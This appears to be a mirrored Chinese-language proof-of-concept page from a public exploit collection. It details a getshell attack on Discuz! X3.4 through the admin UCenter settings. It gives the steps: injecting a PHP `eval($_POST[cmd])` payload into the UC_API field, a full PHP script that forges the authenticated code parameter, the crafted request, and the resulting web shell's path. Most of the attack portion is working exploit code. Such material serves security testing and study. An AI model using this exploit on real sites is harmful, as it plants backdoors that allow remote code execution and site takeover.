mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 19:38:09 +00:00
105 lines
3.2 KiB
Markdown
105 lines
3.2 KiB
Markdown
|
# Discuz!X3.4 后台修改UCenter配置getshell漏洞
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
漏洞利用流程如下：
|
|||
|
|
|
|||
|
|
1. 进入后台`站长`-`UCenter设置`，修改UCenter通信密钥为`123456`。
|
|||
|
|
2. 修改UC_API=`http://your-ip/discuz!x3.4/uc_server');eval($_POST[cmd]);//`，点击保存。
|
|||
|
|
3. 利用UC_KEY(dz) 生成code参数，执行脚本`php ucode.php`生成code。
|
|||
|
|
4. Burpsuite带code参数发送GET请求，结果为1表示成功。
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
生成code参数的脚本 ucode.php：
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
<?php
|
|||
|
|
$uc_key="123456";//此处填写刚才UCenter设置的值
|
|||
|
|
$time = time() + 720000;
|
|||
|
|
$str = "time=".$time."&action=updateapps";
|
|||
|
|
$code = authcode($str,"ENCODE",$uc_key);
|
|||
|
|
$code = str_replace('+','%2b',$code);
|
|||
|
|
$code = str_replace('/','%2f',$code);
|
|||
|
|
echo $code;
|
|||
|
|
|
|||
|
|
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
|
|||
|
|
$ckey_length = 4;
|
|||
|
|
$key = md5($key != '' ? $key : '123456');
|
|||
|
|
$keya = md5(substr($key, 0, 16));
|
|||
|
|
$keyb = md5(substr($key, 16, 16));
|
|||
|
|
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
|
|||
|
|
|
|||
|
|
$cryptkey = $keya.md5($keya.$keyc);
|
|||
|
|
$key_length = strlen($cryptkey);
|
|||
|
|
|
|||
|
|
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
|
|||
|
|
$string_length = strlen($string);
|
|||
|
|
|
|||
|
|
$result = '';
|
|||
|
|
$box = range(0, 255);
|
|||
|
|
|
|||
|
|
$rndkey = array();
|
|||
|
|
for($i = 0; $i <= 255; $i++) {
|
|||
|
|
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
for($j = $i = 0; $i < 256; $i++) {
|
|||
|
|
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
|
|||
|
|
$tmp = $box[$i];
|
|||
|
|
$box[$i] = $box[$j];
|
|||
|
|
$box[$j] = $tmp;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
for($a = $j = $i = 0; $i < $string_length; $i++) {
|
|||
|
|
$a = ($a + 1) % 256;
|
|||
|
|
$j = ($j + $box[$a]) % 256;
|
|||
|
|
$tmp = $box[$a];
|
|||
|
|
$box[$a] = $box[$j];
|
|||
|
|
$box[$j] = $tmp;
|
|||
|
|
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if($operation == 'DECODE') {
|
|||
|
|
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
|
|||
|
|
return substr($result, 26);
|
|||
|
|
} else {
|
|||
|
|
return '';
|
|||
|
|
}
|
|||
|
|
} else {
|
|||
|
|
return $keyc.str_replace('=', '', base64_encode($result));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
?>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
带code参数发送GET请求：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
请求数据包：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /discuz!x3.4/api/uc.php?code=ac7091oTLALD6X24gZeiX5YmqDkLnX4ivIqx1jDnA7NhUAcHHOX3fWWOLWpGwSwfQfz4r5Pgf86bRlDTRkQ% HTTP/1.1
|
|||
|
|
Host: your-ip
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
|
|||
|
|
Connection: close
|
|||
|
|
Content-Length: 133
|
|||
|
|
|
|||
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|||
|
|
<root>
|
|||
|
|
<item id="UC_API">http://your-ip/discuz!x3.4/uc_server</item>
|
|||
|
|
</root>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Shell 地址：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
http://your-ip/discuz!x3.4/config/config_ucenter.php
|
|||
|
|
```
|
|||
|
|
|